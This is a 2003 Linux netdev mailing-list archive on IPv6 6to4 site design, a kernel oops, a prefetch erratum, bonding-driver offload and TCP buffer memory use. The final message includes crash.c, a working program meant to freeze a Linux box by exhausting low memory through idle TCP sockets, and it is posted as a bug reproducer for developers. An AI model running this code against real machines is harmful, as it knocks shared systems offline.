charset=US-ASCII X-archive-position: 5752 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 8118 Lines: 173 On Wed, 10 Sep 2003, David Woodhouse wrote: > On Thu, 2003-09-11 at 00:42 +0300, Pekka Savola wrote: > > Yep, but it has some fatal flaws (ambiguity, leading to a lots of > > difficult issues), and in the end, it's just not any more secure method > > than filtering. > > S'true -- it wasn't any more secure. But it was more obviously secure :) > I'm not sure of that; I'd agree if you said "it _seems_ more obviously secure", but I don't think that's real.. > It's just multihoming with non-publicly-routable addresses used for the > unfirewalled internal communication, and real public addresses used for > external communication. But unlike 'just' multihoming, the fact that the > dichotomy between site-scope and global-scope was fundamental to IPv6 > make it nice and easy to separate 'site' and 'global' and consider them > separately. Yep, but once you break into just one box w/ global addresses, all of the site-internal infrastructure is open to you. This seems like a high price to pay, with many points of failure. But from the operational perspective, I certainly agree that having one range of local addesses (well, they can even be global addresses) would simplify the management for internal communications, especially if the real IPv6 addresses tend to change (leading to internal renumbering events etc.). That's something that should be avoided. > Of course, you can do much the same thing manually, but showing that > it's secure is, to use Piagetian terms, much more of a formal operation > than a concrete one. :) Yes; but I fail to see how much more secure using "local addressing" is than by just ensuring in your border routers (or other firewalls) that the addresses meant for local communications don't leak out, AND that nobody uses your internal source addresses in the packets coming from the Internet. (Rather basic site perimeter protections.) > > How many multiple locations are out there? Which methods you use locally, > > are Ethernet switches and VLAN's being used (if so, does a location have > > multiple VLAN's, e.g. for engineering, marketing etc.)? > > I'd guess at 20-30 offices worldwide, many more individual remote > employees on point-to-point CIPE links. Ok. > Using global IPv6 addresses obtained locally at each site, we'd end up > having to keep a big list of IPv6 subnets which are 'ours', and the > corresponding internal IPv4 address to which they should be routed -- > over the CIPE to ensure encryption and also to bypass the firewalls > which will prevent ingress to each site from other external machines. Does each site also have IPv4 Internet connectivity in addition to the private addresses? If not ("some smaller ones go through a larger site"), this may not be a problem. If yes, there may be a need to run an IPv6 routing protocol between the sites; this would easily keep track of local prefixes, but this would not work for access lists and firewall filters. One possible solution is to pick one (or a couple of) major sites which provide "internal connectivity addresses". For example, assume you have the big HQ in the US. Deploy on each node: - IPv6 connectivity addresses, obtained using 6to4 or the like, and - IPv6 addesses from the HQ block. The latter are only used for internal connectivity through CIPE tunnels; the former would be used to reach IPv6 Internet (without a need to go through the HQ and from there to the Internet). The potential issue here is the source address selection, so that the hosts don't pick the HQ addresses when they try to reach to IPv6 sites in the Big Internet (so that the packets don't route back through the HQ). > > Note that 6to4 specification explicitly disallows the use of 6to4 on > > private addresses. No such checks have been added to Linux kernel (should > > be..), but you're likely to face more or less trouble if you do so. > > You mean 2002:ac10::/28 et al.? As long as they remain private (to the > same networks where we actually have 172.16/12 IPv4, there shouldn't be > any _practical_ problem. > > After all, it's just a configuration-shorthand for the 2^20 explicit > IPv6-in-IPv4 tunnels which would do the same thing, surely? It's a bit more than that, even though Linux kernel only implements the very basics of the specification. See RFC3056 section 9 last paragraph. > > > Then we configure them such that for communicating with other hosts in > > > 2002:ac10::/28 they use that address, and for communicating with 'real' > > > hosts, they use the 'real' address. How feasible is that? > > > > IPv6 default address selection, implemented and merged in 2.4 kernels, > > should already do that. In principle, there is the policy table and and > > longest prefix match, which should be able to achieve something like this > > without a problem. > > > > One problem may be the destination address selection of getaddrinfo(). > > Glibc might not implement default address selection (RFC3484) yet. > > Hmmm. That sounds reasonable. But I'd be accepting the complexity of > multihoming, for the benefit of avoiding the explicit per-site tunnel > configuration. To be honest, I think I'd rather take the exponential > per-site configuration, and use unique global IPv6 addresses. At least > that's only monkey-work, and the failure modes are simpler and more > obvious. Ok. > I wonder if Mobile-IPv6 can give us something more conceptually simple. > > The reason we don't just assign a 'real' IPv6 subnet to headquarters, > and run it all over a network of tunnels internally, is because latency > to a site just down the road would suck, since the IPv6 packets would > cross the Atlantic twice -- across the tunnel in the CIPE link to HQ and > then back out again. Right, you need to optimize the latency, no need to circulate everything through the HQ. > If we were to start that way, but then add real IPv6 connectivity to > individual sites, then use the direct IPv6 addresses as 'care-of' > addresses for Mobile-IP, I wonder if we could keep the nice simple "We > own this network and it's not firewalled for internal use and it's > tunnelled over CIPE" concept, while keeping fairly sane routing for > connections to the outside world? > > I think I need to actually read the Mobile-IP documentation in the > morning, and see whether the above makes any sense at all. Mobile IPv6 could be leveraged for you, sure. However, you seem to require just one basic feature of MIPv6: tunneling back to Home (Agent). The same can be established through CIPE tunnels. This is similar to my thought, above, of deploying both IPv6 Internet connectivity ("care-of address") and local HQ addressing ("home address") to all the nodes. For security, you would then have to ensure that the "local HQ addresses" don't leak and are properly firewalled. > > Note that one could do a 6to4 router per site, per global address; > > obtaining such connectivity might be easier than "real", but one would > > still not run it over CIPE tunnels. > > True. But even if we could solve the _actual_ security problem that > entails, by enforcing use of IPSEC on such links, it wouldn't fly... > CIPE good and trusted; Internet bad. Agree. > > > Better suggestions are welcomed. > > Hmmm. Much useful information there; thanks. I don't think I can do it > justice tonight so I'll take a closer look in the morning. Certainly > there are plans beginning to come together, using global IPv6 addresses > and an explicit mesh of tunnels. And falling back to 2002:ac10::/28 or > ISATAP where global IPv6 addresses aren't (yet) obtainable at individual > sites. It should be easy to get global IPv6 addresses at most individual sites, because it only requires a public IPv4 address to activate 6to4, which is enough. Other connectivity is also of course possible, and even desirable in the long term, especially for bigger sites. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From wichert@wiggy.net Thu Sep 11 04:43:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 04:43:14 -0700 (PDT) Received: from mx1.wiggy.net (home.wiggy.net [213.84.101.140]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BBh1x4021608 for ; Thu, 11 Sep 2003 04:43:02 -0700 Received: from tornado.wiggy.net ([2001:888:101d:0:290:27ff:fe2d:968c]:33524 helo=tornado.home.wiggy.net) by mx1.wiggy.net with esmtp (Exim 4.20) id 19xPqh-0000At-OB; Thu, 11 Sep 2003 13:42:55 +0200 Received: from wichert by tornado.home.wiggy.net with local (Exim 4.22) id 19xPqF-0000Uf-LI; Thu, 11 Sep 2003 13:42:27 +0200 Date: Thu, 11 Sep 2003 13:42:27 +0200 From: Wichert Akkerman To: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: oops in inet_bind/tcp_v4_get_port Message-ID: <20030911114212.GA1888@wiggy.net> Mail-Followup-To: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 5753 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wichert@wiggy.net Precedence: bulk X-list: netdev Content-Length: 1309 Lines: 35 I just had a kernel oops while restarting exim4. A hand-copied oops report is below. This is using kernel 2.6.0-test3 on a UP box without preempt after about a month of uptime. Wichert. *pde = 00000000 Oops: 0000 [#1] CPU: 0 EIP: 0060:[] Not tainted EFLAGS: 00010246 EIP is at tcp_v4_get_port+0x296/0x2b0 eax: 00000000 ebx: dec3d740 ecx: c18ed860 edx: c18ed870 esi: 00000019 edi: 00000000 ebp: dfcc0064 esp: ddb07e70 ds: 007b es: 007b ss: 0068 Process exim4 (pid: 14228, threadinfo=ddb600 task=ddb1b300) Stack: 00000000 00000000 00000000 00000000 c18ed860 00000000 00000000 00000001 ddc8f508 00000000 00000246 00000001 ddc8f3e0 ffffffea ddc8f508 00000019 c02adbac ddc8f3e0 00000019 ddb07ee8 00000002 ddaa99a0 ddb07ee8 00000010 Call Trace: [] inet_bind+0x17c/0x230 [] sys_bind+0x7b/0xb0 [] do_page_fault+0x12c/0x469 [] sys_setsockopt+0x78/0xc0 [] sys_socketcall+0xbb/0x2a0 [>c010901f>] syscall_call+0x7/0xb Code: 0f b6 40 49 24 20 84 c0 75 9c eb 8a 8d b4 26 00 00 00 00 8d <0>Kernel panic: Fatal exception in interrupt In interrupt handler - not syncing -- Wichert Akkerman It is simple to make things. http://www.wiggy.net/ It is hard to make things simple. From ak@muc.de Thu Sep 11 05:09:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 05:10:02 -0700 (PDT) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BC9qx4025511 for ; Thu, 11 Sep 2003 05:09:53 -0700 Received: (qmail 6907 invoked by uid 3709); 11 Sep 2003 12:09:56 -0000 Date: 11 Sep 2003 14:09:56 +0200 Date: Thu, 11 Sep 2003 14:09:56 +0200 From: Andi Kleen To: dada1 Cc: "Nakajima, Jun" , Andi Kleen , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Network buffer hang was Re: [PATCH] 2.6 workaround for Athlon/Opteron prefetch errata Message-ID: <20030911120956.GB7751@colin2.muc.de> References: <0a5801c37821$54eb8180$890010ac@edumazet> <20030911051121.GA7751@colin2.muc.de> <0a7701c37829$c4bdef40$890010ac@edumazet> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <0a7701c37829$c4bdef40$890010ac@edumazet> User-Agent: Mutt/1.4.1i X-archive-position: 5754 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@colin2.muc.de Precedence: bulk X-list: netdev On Thu, Sep 11, 2003 at 07:58:46AM +0200, dada1 wrote: > > > > > I don't have any. But it would be very similar to the in kernel checking > > code (see the is_prefetch function in my patches). Just you feed it > > the fields from sigcontext in the signal handler and replace __get_user > > with a normal memory access. > > OK will try... but how test it... sounds not easy. From your description of the symptoms it sounds like a waste of time. > > Well, the program is using more than 2Go ram... the core is not written to > disk as the machine hangs just *after* These bug doesn't cause kernel hangs, just "ordinary" segfaults (unless the kernel triggers it, but that happens only very rarely) > > > > If it is a different instruction it is unrelated. > > > > It would also only happen when you prefetch ever on unmapped addresses. > > NULL for example ? Yes, NULL would work. But only when there are byte sized reads of parts of the prefetched memory that are not aligned to the cache line size and hit the second part of a cache line and happens exactly the in the right timing window after the prefetch (see Richard's description - it really is quite hard to trigger) > > Typical example of code ; > > T_cell *ptr, *next ; > for (ptr = list.head ; ptr != NULL ; ptr = next) { > next = ptr->next ; > prefetch(next) ; > some_work(ptr) ; > } > > I may replace NULL by &FakeMappedData (allways present in memory) That's certainly safer, but slightly slower (need one more register in the loop) If it doesn't trigger I would probably not bother. > > > > > That sounds like an unrelated issue. > > > > When user space crashes on this the kernel is unaffected. > > This is not a kernel crash. But total freeze as all memory is used by > network buffers, in no more than 10 seconds. Ok, but then you have to diagnose this freeze. I'm not sure why you think it must be this prefetch thingy. If the prefetch issue was hit then you would just get a normal segfault, not a kernel hang. e.g. you could write some kind of reduced test case for it and post it to the netdev mailing list (netdev@oss.sgi.com) I'm cc'ing it for you. > This application receive smalls TCP messages (about 30 bytes), but the > network stacks allocates 4KB buffers to store this little messages. Most drivers only allocate MTU size in their receive ring (normally 1.5K on ethernet). This is rounded to 2K by the memory allocator. But most drivers support a rx_copybreak parameter. When the received packet is smaller than rx_copybreak it is copied to a freshly allocated buffer with the right size. In addition the 2.4 stack also supports garbage collection in the TCP receive buffers. This means even when a driver doesn't do the rx_copybreak trick and the receive queue of a socket fills up it will copy the data to fresh, right sized packets by itself. Another limit for this scenario is that the network stack has internal limits that supposed to avoid this. These are: each socket has a fixed receive buffer size and when more data arrives (including packet metadata and normal wastage) than the receive buffer allows then it is still dropped. In addition TCP has a global memory limit that also kicks in. And the network stack has a global queue limit that prevents too much data to be queued from the driver to the higher level parts (/proc/sys/net/core/netdev_max_backlog). Sometimes the queueing can also be controlled on the driver level with driver specific knobs. This all can be tuned by sysctls in /proc/sys. See Documentation/networking/ ip-sysctl.txt for more details. Also the latest 2.6 kernel finally has a writable /proc/sys/vm/min_free_kbytes again. This controls the amount of memory kept free for interrupts. Increase that. > I posted a test application some days ago about this problem and got no > answers/feedback. Did you post it to netdev? On linux-kernel such things get often lost in the noise. Also I would contact the driver maintainer, it could be really a driver Issue. -Andi From dwmw2@infradead.org Thu Sep 11 05:48:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 05:48:50 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BCmhYa026716 for ; Thu, 11 Sep 2003 05:48:44 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id C0D3163D71; Thu, 11 Sep 2003 13:48:37 +0100 (BST) Received: from localhost.localdomain (IDENT:+SF0pBvSxq8bTsTltcM67R3dvDQH2TU0@localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8BCma54006212; Thu, 11 Sep 2003 13:48:37 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063284516.23778.152.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Thu, 11 Sep 2003 13:48:36 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 5755 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Thu, 2003-09-11 at 10:49 +0300, Pekka Savola wrote: > > S'true -- it wasn't any more secure. But it was more obviously secure :) > > I'm not sure of that; I'd agree if you said "it _seems_ more obviously > secure", but I don't think that's real.. That's what I meant to say. It's the difference between "Can we do this?" "Yes go ahead." and "Can we do this?" "Er, not sure. Hence no." > Yep, but once you break into just one box w/ global addresses, all of the > site-internal infrastructure is open to you. This seems like a high price > to pay, with many points of failure. Well yes, but that's _already_ the cases for boxen on the internal RFC1918 IPv4 network. If you own one, you have access to them all. That's why we'd want outgoing-connections-only for all the internal IPv6 machines, just as they have in the IPv4 world by virtue of being behind NAT. We don't _need_ public IPv6 addresses for them; if we could NAT for them at each site to that site's publicly-routable IPv6 address range, that would be fine. > One possible solution is to pick one (or a couple of) major sites which > provide "internal connectivity addresses". For example, assume you have > the big HQ in the US. Deploy on each node: > > - IPv6 connectivity addresses, obtained using 6to4 or the like, and > - IPv6 addesses from the HQ block. > > The latter are only used for internal connectivity through CIPE tunnels; > the former would be used to reach IPv6 Internet (without a need to go > through the HQ and from there to the Internet). That works, and is one of the more promising options at the moment. But we don't want to have to manually configure each host to be multihomed -- assuming that HQ gets assigned the 2001:200:0:8002::/64 network, and our local site has 2001:200:0:8002:1234::/80 from that, along with 2002:c35c:f9ff::/48 from 6to4 with its IPv4 Internet address... is there a way to configure radvd or dhcpv6 so it tells each host: "You are 2001:200:0:8002:1234: and should route packets to 2001:200:0:8002::/64 using that source address. "You are also 2002:c55c:f9ff:1234: and should route packets to 2000::/3 using _that_ source address." In fact, we don't have to get it 100% correct -- as long as we ensure that the failure mode where we route to internal hosts using our non-HQ-derived IPv6 address isn't going to happen, it's OK to allow the failure mode where we route to external hosts using our HQ-derived IPv6 address; that's only going to make it a bit slower, not actually make it break. > The potential issue here is the source address selection, so that the > hosts don't pick the HQ addresses when they try to reach to IPv6 sites in > the Big Internet (so that the packets don't route back through the HQ). Unless they go out bearing the HQ-derived address, but with a 'care-of' option pointing at the local IPv6-connectivity address? > > > Note that 6to4 specification explicitly disallows the use of 6to4 on > > > private addresses. No such checks have been added to Linux kernel (should > > > be..), but you're likely to face more or less trouble if you do so. > > > It's a bit more than that, even though Linux kernel only implements the > very basics of the specification. See RFC3056 section 9 last paragraph. Hmmm. I wonder how it's supposed to know which are subnet-broadcast addresses? Do you reckon there are boxen out there which will refuse to route for 2002:c35c:f9ff::1 just as some refuse to route for 195.92.249.255? > Mobile IPv6 could be leveraged for you, sure. However, you seem to > require just one basic feature of MIPv6: tunneling back to Home (Agent). > The same can be established through CIPE tunnels. This is similar to my > thought, above, of deploying both IPv6 Internet connectivity ("care-of > address") and local HQ addressing ("home address") to all the nodes. > > For security, you would then have to ensure that the "local HQ addresses" > don't leak and are properly firewalled. I was trying to avoid the tunnelling altogether, at least for the common case. I thought that Mobile-IPv6 avoided the 'triangular routing' problem that IPv4 has, by introducing a way for the correspondent node to know about the mobile node's care-of address. If a host in a remote (i.e. non-HQ) site has an HQ-derived address and a locally-derived IPv6 address, it treats the former as a 'home address' and the latter as a 'temporary address'. It sends packets ostensibly from the 'home address' but using the locally-derived address as its 'care-of' address, so not only do _outgoing_ packets go directly over the local IPv6 connection, but return packets _also_ come in that way. -- dwmw2 From shmulik.hen@intel.com Thu Sep 11 06:15:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 06:15:34 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BDFRYa030061 for ; Thu, 11 Sep 2003 06:15:27 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BDD2Q06980 for ; Thu, 11 Sep 2003 13:13:02 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BDA6I05728 for ; Thu, 11 Sep 2003 13:10:06 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091106151823519 ; Thu, 11 Sep 2003 06:15:19 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. Subject: Re: Does the bonding driver honour dev->features of slave devices Date: Thu, 11 Sep 2003 16:15:17 +0300 User-Agent: KMail/1.4.3 To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309111615.17515.shmulik.hen@intel.com> X-archive-position: 5756 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Subject: Re: Does the bonding driver honour dev->features of slave devices Date: Thu, 11 Sep 2003 10:44:46 +0300 From: Shmulik Hen To: "Tomar, Nagendra" , On Wednesday 10 September 2003 09:25 pm, Tomar, Nagendra wrote: > Hello All, > I am going throgh the "Link Aggregation" module in Linux > (bonding.c). The code seems to suggest that the dev->features of > slave devices is simply ignored while bundling into the master > device. Suppose I have two Intel epro1000 cards that can support > TCP Segmentation Offload. Now if I bond these two slave cards into > a new master card, the new bonding device that is the master device > will be used in the routing table. When a TCP connection is > established sk->route_caps is assigned from the dev->features of > the assigned outgoing device. If the outgoing device is the bonding > device then the dev->features won't have NETIF_F_TSO as the feature > and hence upper layers will believe that the outgoing device cannot > do TSO. > I believe that at best we can take an OR of the dev->features of > all the slave devices and assign it to the dev->features of the > bonding device. This way we are sure that we are taking the Least > Common Denominator while deciding the features for the master > device. > > > Thanx, > tomar That's one of the new things we've started working on. There are multiple things exported by dev->features that need to be taken care of, but since they belong to different categories, they'll have to be handled separately. For example, 8021q VLAN hardware offloading can be exported through the master device, but then the module will need to handle tagged packets differently for "strong" or "weak" slaves. Zero copy and CSUM offloading is also a possibility we're adding and it should be even easier since the packets go again through the slave's device queue and are linearized and summed automatically if the slave is not capable. TSO is kind of new for us, but it is definitely something worth our attention. We'll first need to study what is the meaning of TSO and how it is handled throughout the stack and then see what can be done. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From dada1@cosmosbay.com Thu Sep 11 06:18:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 06:18:25 -0700 (PDT) Received: from gw1.cosmosbay.com (gw1.cosmosbay.com [62.23.185.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BDIIYa030437 for ; Thu, 11 Sep 2003 06:18:19 -0700 Received: from edumazet (easynetvilleurbanne [212.180.56.17]) by gw1.cosmosbay.com (8.12.9/8.12.9) with SMTP id h8BDI48c026992; Thu, 11 Sep 2003 15:18:05 +0200 Message-ID: <0b2901c37867$1db399a0$890010ac@edumazet> From: "dada1" To: "Andi Kleen" Cc: "Nakajima, Jun" , "Andi Kleen" , , References: <0a5801c37821$54eb8180$890010ac@edumazet> <20030911051121.GA7751@colin2.muc.de> <0a7701c37829$c4bdef40$890010ac@edumazet> <20030911120956.GB7751@colin2.muc.de> Subject: Re: Network buffer hang was Re: [PATCH] 2.6 workaround for Athlon/Opteron prefetch errata Date: Thu, 11 Sep 2003 15:17:55 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0B26_01C37877.E0329AC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 5757 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dada1@cosmosbay.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0B26_01C37877.E0329AC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > > This is not a kernel crash. But total freeze as all memory is used by > > network buffers, in no more than 10 seconds. > > Ok, but then you have to diagnose this freeze. I'm not sure why you > think it must be this prefetch thingy. If the prefetch issue was > hit then you would just get a normal segfault, not a kernel hang. Well, the machine is a bi-athlon, and I use prefetchnta... thats all. > > e.g. you could write some kind of reduced test case for it and > post it to the netdev mailing list (netdev@oss.sgi.com) Thanks very much. I'm resending my original mail (with a small test program attached), at the end of this one. > > I'm cc'ing it for you. > > > This application receive smalls TCP messages (about 30 bytes), but the > > network stacks allocates 4KB buffers to store this little messages. > > Most drivers only allocate MTU size in their receive ring > (normally 1.5K on ethernet). This is rounded to 2K by the memory allocator. > > But most drivers support a rx_copybreak parameter. When the received > packet is smaller than rx_copybreak it is copied to a freshly allocated > buffer with the right size. I'm using e1000 driver , on linux-2.6, this driver doesnt use the rx_copybreak trick. > > In addition the 2.4 stack also supports garbage collection in the TCP > receive buffers. This means even when a driver doesn't do the rx_copybreak > trick and the receive queue of a socket fills up it will copy the data > to fresh, right sized packets by itself. > > Another limit for this scenario is that the network stack has internal > limits that supposed to avoid this. These are: each socket has a > fixed receive buffer size and when more data arrives (including packet > metadata and normal wastage) than the receive buffer allows then it is > still dropped. In addition TCP has a global memory limit that also kicks > in. And the network stack has a global queue limit that prevents > too much data to be queued from the driver to the higher level > parts (/proc/sys/net/core/netdev_max_backlog). Sometimes the queueing > can also be controlled on the driver level with driver specific > knobs. > cat /proc/sys/net/core/netdev_max_backlog 300 > This all can be tuned by sysctls in /proc/sys. See Documentation/networking/ > ip-sysctl.txt for more details. > > Also the latest 2.6 kernel finally has a writable /proc/sys/vm/min_free_kbytes > again. This controls the amount of memory kept free for interrupts. > Increase that. Hum I didnt knew this one... cat /proc/sys/vm/min_free_kbytes 16384 > > > I posted a test application some days ago about this problem and got no > > answers/feedback. > > Did you post it to netdev? On linux-kernel such things get often > lost in the noise. > > Also I would contact the driver maintainer, it could be really a driver > Issue. > > -Andi Here is the copy of the mail I sent the Sep 1st on linux-kernel & linux-net : Hi all I have an annoying problem with a network server (TCP sockets) On some stress situation, LowMemory goes close to 0, and the whole machine freezes. When the sockets receive a lot of data, and the server is busy, the TCP stack just can use too many buffers (in LowMem). TCP stack uses "size-4096" buffers to store the datas, even if only one byte is coming from the network. I tried to change /proc/sys/net/ipv4/tcp_mem, without results. # echo "1000 10000 15000" >/proc/sys/net/ipv4/tcp_mem You can reproduce the problem with the test program attached. # gcc -o crash crash.c # ulimit -n 20000 # ./crash listen 8888 & # ./crash call 127.0.0.1:8888 & grep "size-4096 " /proc/slabinfo size-4096 40015 40015 4096 1 1 : tunables 24 12 0 : slabdata 40015 40015 0 (thats is 160 Mo, far more than the limit given in /proc/sys/net/ipv4/tcp_mem) grep TCP /proc/net/sockstat TCP: inuse 39996 orphan 0 tw 0 alloc 39997 mem 79986 What is the unit of 'mem' field ? Unless it is 2Ko, the numbers are wrong. How may I ask the kernel NOT to use more than 'X Mo' to store TCP messages ? Thanks Eric Dumazet /* * Program to freeze a linux box, by using all the LOWMEM * A bug on the tcp stack may be the reason * Use at your own risk !! */ /* Principles : A listener accepts incoming tcp sockets, write 40 bytes, and does nothing with them (no reading) A writer establish TCP sockets, sends some data (40 bytes), no more reading/writing */ #include # include # include # include # include # include # include /* * Usage : * crash listen port * crash call IP:port */ void usage(int code) { fprintf(stderr, "Usages :\n") ; fprintf(stderr, " crash listen port\n") ; fprintf(stderr, " crash call IP:port\n") ; exit(code) ; } const char some_data[40] = "some data.... just some data" ; void do_listener(const char *string) { int port = atoi(string) ; struct sockaddr_in host, from ; int fdlisten ; unsigned int total ; socklen_t fromlen ; memset(&host,0, sizeof(host)); host.sin_family = AF_INET; host.sin_port = htons(port); fdlisten = socket(AF_INET, SOCK_STREAM, 0) ; if (bind(fdlisten, (struct sockaddr *)&host, sizeof(host)) == -1) { perror("bind") ; return ; } listen(fdlisten, 10) ; for (total=0;;total++) { int nfd ; fromlen = sizeof(from) ; nfd = accept(fdlisten, (struct sockaddr *)&from, &fromlen) ; if (nfd == -1) break ; write(nfd, some_data, sizeof(some_data)) ; } printf("total=%u\n", total) ; pause() ; } void do_caller(const char *string) { union { int i ; char c[4] ; } u ; struct sockaddr_in dest; int a1, a2, a3, a4, port ; unsigned int total ; sscanf(string, "%d.%d.%d.%d:%d", &a1, &a2, &a3, &a4, &port) ; u.c[0] = a1 ; u.c[1] = a2 ; u.c[2] = a3 ; u.c[3] = a4 ; for (total=0;;total++) { int fd ; memset(&dest, 0, sizeof(dest)) ; dest.sin_family = AF_INET ; dest.sin_port = htons(port) ; dest.sin_addr.s_addr = u.i ; fd = socket(AF_INET, SOCK_STREAM, 0) ; if (fd == -1) break ; if (connect(fd, (struct sockaddr *)&dest, sizeof(dest)) == -1) { perror("connect") ; break ; } write(fd, some_data, sizeof(some_data)) ; } printf("total=%u\n", total) ; pause() ; } int main(int argc, char *argv[]) { int listener ; int caller ; if (argc != 3) { usage(1); } listener = !strcmp(argv[1], "listen") ; caller = !strcmp(argv[1], "call") ; if (listener) { do_listener(argv[2]) ; } else if (caller) { do_caller(argv[2]) ; } else usage(2) ; return 0 ; } /********************************************************************/ ------=_NextPart_000_0B26_01C37877.E0329AC0 Content-Type: text/plain; name="crash.c" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="crash.c" /*=0A= * Program to freeze a linux box, by using all the LOWMEM=0A= * A bug on the tcp stack may be the reason =0A= * Use at your own risk !!=0A= */=0A= =0A= /* Principles :=0A= A listener accepts incoming tcp sockets, write 40 bytes, and does = nothing with them (no reading)=0A= A writer establish TCP sockets, sends some data (40 bytes), no more = reading/writing=0A= */=0A= #include =0A= # include =0A= # include =0A= # include =0A= # include =0A= # include =0A= # include =0A= =0A= /*=0A= * Usage :=0A= * crash listen port=0A= * crash call IP:port=0A= */=0A= void usage(int code)=0A= {=0A= fprintf(stderr, "Usages :\n") ;=0A= fprintf(stderr, " crash listen port\n") ;=0A= fprintf(stderr, " crash call IP:port\n") ;=0A= exit(code) ;=0A= }=0A= const char some_data[40] =3D "some data.... just some data" ;=0A= =0A= void do_listener(const char *string)=0A= {=0A= int port =3D atoi(string) ;=0A= struct sockaddr_in host, from ;=0A= int fdlisten ;=0A= unsigned int total ;=0A= socklen_t fromlen ;=0A= memset(&host,0, sizeof(host));=0A= host.sin_family =3D AF_INET;=0A= host.sin_port =3D htons(port);=0A= fdlisten =3D socket(AF_INET, SOCK_STREAM, 0) ;=0A= if (bind(fdlisten, (struct sockaddr *)&host, sizeof(host)) =3D=3D -1) {=0A= perror("bind") ;=0A= return ;=0A= }=0A= listen(fdlisten, 10) ;=0A= for (total=3D0;;total++) {=0A= int nfd ;=0A= fromlen =3D sizeof(from) ;=0A= nfd =3D accept(fdlisten, (struct sockaddr *)&from, &fromlen) ;=0A= if (nfd =3D=3D -1) break ;=0A= write(nfd, some_data, sizeof(some_data)) ;=0A= }=0A= printf("total=3D%u\n", total) ;=0A= pause() ;=0A= }=0A= =0A= void do_caller(const char *string)=0A= {=0A= union {=0A= int i ;=0A= char c[4] ;=0A= } u ;=0A= struct sockaddr_in dest;=0A= int a1, a2, a3, a4, port ;=0A= unsigned int total ;=0A= sscanf(string, "%d.%d.%d.%d:%d", &a1, &a2, &a3, &a4, &port) ;=0A= u.c[0] =3D a1 ; u.c[1] =3D a2 ; u.c[2] =3D a3 ; u.c[3] =3D a4 ;=0A= for (total=3D0;;total++) {=0A= int fd ;=0A= memset(&dest, 0, sizeof(dest)) ;=0A= dest.sin_family =3D AF_INET ;=0A= dest.sin_port =3D htons(port) ;=0A= 